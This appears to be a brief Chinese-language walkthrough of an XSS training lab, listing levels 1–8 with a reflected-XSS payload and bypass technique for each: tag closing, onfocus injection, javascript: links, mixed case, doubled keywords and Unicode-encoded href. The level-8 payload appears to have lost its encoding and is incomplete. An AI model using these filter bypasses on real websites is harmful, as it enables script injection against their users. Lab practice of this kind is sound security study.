level1
php
<script>alert()</script>
level2
闭合绕过
php
"> <script>alert()</script> <"

level3+level4
onfocus事件绕过
php
' onfocus=javascript:alert() '
然后再点击输入框触发onfocus事件


level5

有小写字母转化函数,用a href标签法, 前提是闭合号<"">没失效
php
"> <a href=javascript:alert()>xxx</a> <"

level6
关键字测试

大小写测试

用大小写法绕过str_replace()函数
php
"> <sCript>alert()</sCript> <"

level7
关键字测试

用双拼写绕过
php
"> <a hrehreff=javasscriptcript:alert()>x</a> <"

level8
关键字测试

input标签添加了html实体转化函数还把双引号也给实体化了, 添加了小写转化函数,过滤掉了src、data、onfocus、href、script、双引号
利用href的隐藏属性自动Unicode解码,插入一段js伪协议
php
javascript:alert()
php
javascript:alert()
